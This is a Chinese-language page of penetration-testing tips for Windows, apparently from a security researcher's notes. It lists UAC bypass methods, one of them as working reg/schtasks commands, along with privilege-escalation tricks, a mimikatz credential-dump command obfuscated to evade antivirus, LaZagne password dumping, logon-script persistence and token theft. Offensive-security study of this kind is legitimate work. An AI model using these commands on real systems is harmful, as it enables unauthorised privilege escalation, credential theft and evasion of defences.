&lt;h3 id="toc_71" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 31. UAC绕过&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_72" class="h16"&gt;&lt;span class="span_for_h"&gt;方法1：use eventvwr.exe and registry hijacking&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;适用：Win7，Win8.1，Win 10&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/UAC-Bypass/blob/master/Invoke-EventVwrBypass.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-of-WMI-Persistence-using-wmic.exe/"&gt;《Study Notes of WMI Persistence using wmic.exe》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Userland-registry-hijacking/"&gt;《Userland registry hijacking》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_73" class="h16"&gt;&lt;span class="span_for_h"&gt;方法2：use sdclt.exe&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;适用Win10&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-of-using-sdclt.exe-to-bypass-UAC/"&gt;《Study Notes of using sdclt.exe to bypass UAC》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_74" class="h16"&gt;&lt;span class="span_for_h"&gt;方法3：use SilentCleanup&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;适用Win8,Win10&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;reg add hkcu\Environment /v windir /d "cmd /K reg delete hkcu\Environment /v windir /f &amp;amp;&amp;amp; REM "
schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-of-using-SilentCleanup-to-bypass-UAC/"&gt;《Study Notes of using SilentCleanup to bypass UAC》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_75" class="h16"&gt;&lt;span class="span_for_h"&gt;方法4：use wscript.exe&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;只适用于Win7&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Invoke-WScriptBypassUAC.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Empire%E4%B8%AD%E7%9A%84Invoke-WScriptBypassUAC%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/"&gt;《Empire中的Invoke-WScriptBypassUAC利用分析》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_76" class="h16"&gt;&lt;span class="span_for_h"&gt;方法5：use cmstp.exe&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://msitpros.com/?p=3960&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;适用于Win7&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_77" class="h16"&gt;&lt;span class="span_for_h"&gt;方法5：修改环境变量，劫持高权限.Net程序&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;适用Win7-Win10&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;如gpedit.msc&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;修改环境变量，利用CLR劫持gpedit.msc的启动过程&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-CLR-to-bypass-UAC/"&gt;《Use CLR to bypass UAC》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_78" class="h16"&gt;&lt;span class="span_for_h"&gt;方法6：修改注册表HKCU\Software\Classes\CLSID，劫持高权限程序&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;适用Win7-Win10&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;{B29D466A-857D-35BA-8712-A758861BFEA1}

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;{D5AB5662-131D-453D-88C8-9BBA87502ADE}

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;{0A29FF9E-7F9C-4437-8B11-F424491E3931}

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}

&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-CLR-to-bypass-UAC/"&gt;《Use CLR to bypass UAC》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_79" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 32. Visual Studio生成的exe或是dll在其他系统使用，提示缺少相关DLL文件&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;解放方法：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;将程序打包发布&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;项目菜单-&amp;gt;项目属性，C/C++-&amp;gt;代码生成-&amp;gt;运行库，选择多线程 (/MT)&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_80" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 33. 使用LaZagne导出当前系统中常见应用存储的密码&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;可以使用LaZagne导出当前系统中常见应用存储的密码（例如浏览器、Wifi、Git、Outlook等）&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/AlessandroZ/LaZagne&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;当然，也可以修改LaZagne源码实现对其他应用的密码导出&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%9C%AC%E5%9C%B0%E5%AF%86%E7%A0%81%E6%9F%A5%E7%9C%8B%E5%B7%A5%E5%85%B7LaZagne%E4%B8%AD%E7%9A%84%E8%87%AA%E5%AE%9A%E4%B9%89%E8%84%9A%E6%9C%AC%E5%BC%80%E5%8F%91/"&gt;《本地密码查看工具LaZagne中的自定义脚本开发》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_81" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 34. 使用powershell读写文件&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;读文本文件：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;$file = Get-Content "1.txt"&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;写文本文件：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;Set-content "1.txt"&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;读二进制文件：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;写二进制文件：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;hr&gt;
&lt;h3 id="toc_82" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 35. powershell作base64编码/解码&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;编码：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;$encoded = [System.Convert]::ToBase64String($fileContent)&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;解码：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;$fileContent = [System.Convert]::FromBase64String($encoded)&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-of-using-BGInfo-to-bypass-Application-Whitelisting/"&gt;《Study Notes of using BGInfo to bypass Application Whitelisting》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_83" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 36 如果powershell脚本被查杀，可以尝试使用Invoke-Obfuscation进行混淆&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/danielbohannon/Invoke-Obfuscation&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;eg.&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;设置要混淆的代码：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;set scriptblock " Invoke-111111 -Command "log privilege::debug sekurlsa::logonpasswords exit" "&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;输入&lt;code&gt;encoding&lt;/code&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;输入&lt;code&gt;1&lt;/code&gt;，指定编码为ascii&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;得到混淆后的代码：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;" $(SEt-iTem  'VARIaBle:OFS' '' ) "+ [StRinG](( 73,110 , 118 ,111, 107, 101, 45, 49, 49 ,49 ,49 ,49 , 49, 32 , 45 , 67, 111, 109 , 109, 97 , 110 , 100 , 32,34,108, 111, 103 ,32, 112 ,114 , 105,118,105,108, 101, 103 ,101, 58 , 58 , 100 , 101 , 98, 117 ,103,32 , 115,101,107 ,117,114 , 108,115, 97 ,58 , 58, 108 ,111 ,103,111,110, 112, 97, 115 ,115,119, 111, 114, 100, 115, 32, 101, 120,105,116 ,34 )|FOReacH-objeCT{( [ChAR][iNT] $_) } ) +"$( Set-variAbLE  'oFS'  ' ' ) "|. ( $env:PUbLic[13]+$eNv:PuBlIc[5]+'x')&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;hr&gt;
&lt;h3 id="toc_84" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 37 python脚本转exe&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;常见的两种方法：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;使用py2exe

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;使用PyInstaller

&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用方法和常见bug解决方法可参照参考链接&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%9C%AC%E5%9C%B0%E5%AF%86%E7%A0%81%E6%9F%A5%E7%9C%8B%E5%B7%A5%E5%85%B7LaZagne%E4%B8%AD%E7%9A%84%E8%87%AA%E5%AE%9A%E4%B9%89%E8%84%9A%E6%9C%AC%E5%BC%80%E5%8F%91/"&gt;《本地密码查看工具LaZagne中的自定义脚本开发》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_85" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 38 普通用户权限向管理员权限的路径下写文件&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;eg.&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;以普通用户权限向&lt;code&gt;c:\windows&lt;/code&gt;文件夹下释放文件&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;makecab c:\test\test.exe %TMP%\1.tmp
wusa %TMP%\1.tmp /extract:"c:\windows" /quiet&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;适用于Win7、Win8，学习自：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Invoke-WScriptBypassUAC.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Empire%E4%B8%AD%E7%9A%84Invoke-WScriptBypassUAC%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/"&gt;《Empire中的Invoke-WScriptBypassUAC利用分析》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_86" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 39 在远程系统上执行程序的方法汇总&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;常用方法：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;at

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;psexec

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;WMIC

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;wmiexec

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;smbexec

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;powershell remoting

&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;新方法：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;DCOM
&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8DCOM%E5%9C%A8%E8%BF%9C%E7%A8%8B%E7%B3%BB%E7%BB%9F%E6%89%A7%E8%A1%8C%E7%A8%8B%E5%BA%8F/"&gt;《域渗透——利用DCOM在远程系统执行程序》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_87" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 40 寻找Windows系统中可被利用的服务&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;枚举Windows系统服务对应可执行文件的路径，如果路径包含普通用户的写权限，那么该服务可被用来提升权限&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;powershell代码:&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;$ErrorActionPreference="SilentlyContinue"
$out = (Get-WmiObject win32_service | select PathName)
$out|% {[array]$global:path += $_.PathName}
for($i=0;$i -le $out.Count-1;$i++)
{
    $a=Get-Acl -Path $out[$i].PathName.ToUpper().Substring($out[$i].PathName.ToUpper().IndexOfAny("C"),$out[$i].PathName.ToUpper().LastIndexOfAny("\"))
     If($a.Owner -ne "NT AUTHORITY\SYSTEM"){
        If($a.Owner -ne "NT SERVICE\TrustedInstaller"){
            If($a.Owner -ne "BUILTIN\Administrators"){                
                Get-WmiObject win32_service | ?{$_.PathName -like $out[$i].PathName}|select Name,PathName,ProcessId,StartMode,State,Status
                Write-host Owner: $a.Owner
            }    
        }
    }
}
Write-host [+] All done.&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-powershell-to-find-a-writable-windows-service/"&gt;《Use powershell to find a writable windows service》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_88" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 41 利用杀毒软件的配置错误实现自启动并优先于杀毒软件执行&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Windows系统支持Logon Scripts，Logon Scripts是在系统启动时执行，执行顺序要优先于杀毒软件，当然，杀毒软件无法拦截Logon Scripts中脚本的操作（杀毒软件尚未启动）&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;关键在于杀毒软件会不会拦截Logon Scripts的配置使用&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用特殊操作添加Logon Scripts，杀毒软件不会拦截&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;注：&lt;/strong&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;以上提到的杀毒软件是指“部分”杀毒软件，并不通用&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-Logon-Scripts-to-maintain-persistence/"&gt;《Use Logon Scripts to maintain persistence》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_89" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 42 编译c#程序注意事项&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用Visual Studio：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;项目名要同namespace指定的名称对应，如果不对应，可在项目-属性-程序集名称中修改，否则生成的dll无法使用&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用csc.exe:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;eg.&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;using System;
using System.Diagnostics;

namespace TestDotNet
{
   public class Class1
   {
      static Class1()
      { 
         Process.Start("cmd.exe");
         Environment.Exit(0);
      }
   }
}&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;保存为TestDotNet.cs，直接使用csc.exe生成就好：&lt;/span&gt;
&lt;/p&gt;

&lt;code&gt;C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:library TestDotNet.cs&lt;/code&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;如果保存为a.cs，那么需要加/out参数指定输出文件为TestDotNet.dll，这样程序集名称也默认为TestDotNet（同源代码对应），否则，dll虽然能够被加载，但无法执行，参数如下：&lt;/span&gt;
&lt;/p&gt;

&lt;code&gt;C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:library /out:TestDotNet.dll a.cs&lt;/code&gt;
&lt;hr&gt;
&lt;h3 id="toc_90" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 43 使用net use远程连接的端口问题&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用net use远程连接，目标如果开启了NetBIOS over TCP/IP，那么：&lt;/span&gt;
&lt;/p&gt;

&lt;ol class="md_list md_ol" start="1"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;目标同时开放139和445端口，系统优先使用445端口连接

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;目标禁用445端口，可使用139端口连接

&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;目标如果禁用了NetBIOS over TCP/IP，那么：&lt;/span&gt;
&lt;/p&gt;

&lt;ol class="md_list md_ol" start="1"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;目标禁用445端口，无法连接
&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;hr&gt;
&lt;h3 id="toc_91" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 44 获得TrustedInstaller权限&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;启动服务TrustedInstaller,通过Token复制来获得TrustedInstaller权限&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;常用方法：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;SelectMyParent

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;Invoke-TokenManipulation.ps1

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;incognito

&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&lt;span class="md_line_space_chars md_line_space_chars_1"&gt; &lt;/span&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Token%E7%AA%83%E5%8F%96%E4%B8%8E%E5%88%A9%E7%94%A8/"&gt;渗透技巧——Token窃取与利用&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_92" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 45 3389远程连接&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_93" class="h16"&gt;&lt;span class="span_for_h"&gt;1、查询系统是否允许3389远程连接：&lt;/span&gt;&lt;/h4&gt;
&lt;code&gt;REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections&lt;/code&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;1表示关闭，0表示开启&lt;/span&gt;
&lt;/p&gt;

&lt;span class="md_repeated_n md_repeated_n_1"&gt;&lt;/span&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;查看远程连接的端口：&lt;/span&gt;
&lt;/p&gt;

&lt;code&gt;REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber&lt;/code&gt;&lt;h4 id="toc_94" class="h16"&gt;&lt;span class="span_for_h"&gt;2、本机开启3389远程连接的方法&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;方法1：通过cmd&lt;/span&gt;
&lt;/p&gt;


